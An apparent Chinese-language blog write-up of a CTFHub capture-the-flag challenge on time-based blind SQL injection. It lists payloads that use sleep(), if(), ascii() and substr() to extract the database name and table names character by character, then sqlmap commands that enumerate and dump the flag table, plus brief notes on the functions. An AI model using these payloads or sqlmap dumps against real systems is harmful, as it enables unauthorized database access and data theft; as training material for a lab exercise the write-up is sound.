40,【5】CTFHUB WEB SQL 时间盲注

进入靶场

输入1

猜测其名称长度,为4时页面卡顿,确定长度

1 and if(length(database())=4,sleep(3),1)

根据之前几道题的经验,应该是sqli

1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)

1 and if(ascii(substr(database(),2,1))=113,sleep(3),1)

1 and if(ascii(substr(database(),3,1))=108,sleep(3),1)

1 and if(ascii(substr(database(),4,1))=105,sleep(3),1)

确定为sqli

1 and if((select count(table_name) from information_schema.tables

where table_schema=database())=2,sleep(3),1)

确定表有2个,使用以下语句判断表名

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(3),1)

假设我已经判断出new和flag了

继续用如上方法判断字段数,字段名,一个一个判断flag里面的元素

工作量太大了,上sqlmap

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 --dbs

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli --tables

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli -T flag --columns

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli -T flag -C flag --dump

笔记

1.时间盲注最重要的工具就是sleep(),括号里面的数字就是页面加载需要的时间

2,if(A,B,C)

这是if语句,A语句正确时运行B,A语句错误时运行C

3,

substr(string, start, length)

string:要截取的源字符串。

start:开始截取的位置。如果 start 为正数,从字符串的左边开始计数;如果为负数,从字符串的右边开始计数。

length:要截取的字符长度。

相关推荐
weixin_3823952323 分钟前
0-500 人工厂的生产 PMC 系统怎么做?基于 Tauri + SQLite 的性能架构实践与 5000 物料压测实录
数据库·架构·sqlite
l1t1 小时前
DeepSeek总结的 DuckDB 2.0 文档新内容
服务器·网络·数据库
IvorySQL1 小时前
PostgreSQL 日报| PG19 主备切换挂起修复(10 月 17 日)
数据库·postgresql
roman_日积跬步-终至千里1 小时前
【数据Agent论文·查询与语义|11】EntSQL:给了业务文档,模型为何还是写不对SQL?
数据库·人工智能·sql·数据分析
2601_962885721 小时前
如何用 Python 算最大回撤和回撤恢复期?
java·数据库·python
zcn1262 小时前
Left join+or exists+like关联优化
数据库·sql优化改写
我科绝伦(Huanhuan Zhou)2 小时前
Oracle 表空间碎片整理实战:shrink space 与 move table 全解析
数据库·oracle
Yyyyyy~2 小时前
【Mysql】表的操作
数据库·mysql
TDengine (老段)2 小时前
工业数据十大痛点系列 · 第 6 篇
数据库·时序数据库·tdengine·涛思数据·idmp·工业数据分析·ai 分析数据
ly76893 小时前
PostgreSQL 流复制与高可用切换:主从延迟、同步提交与 Spring Boot 读写分离的边界
数据库·spring boot·postgresql·读写分离·流复制·高可用切换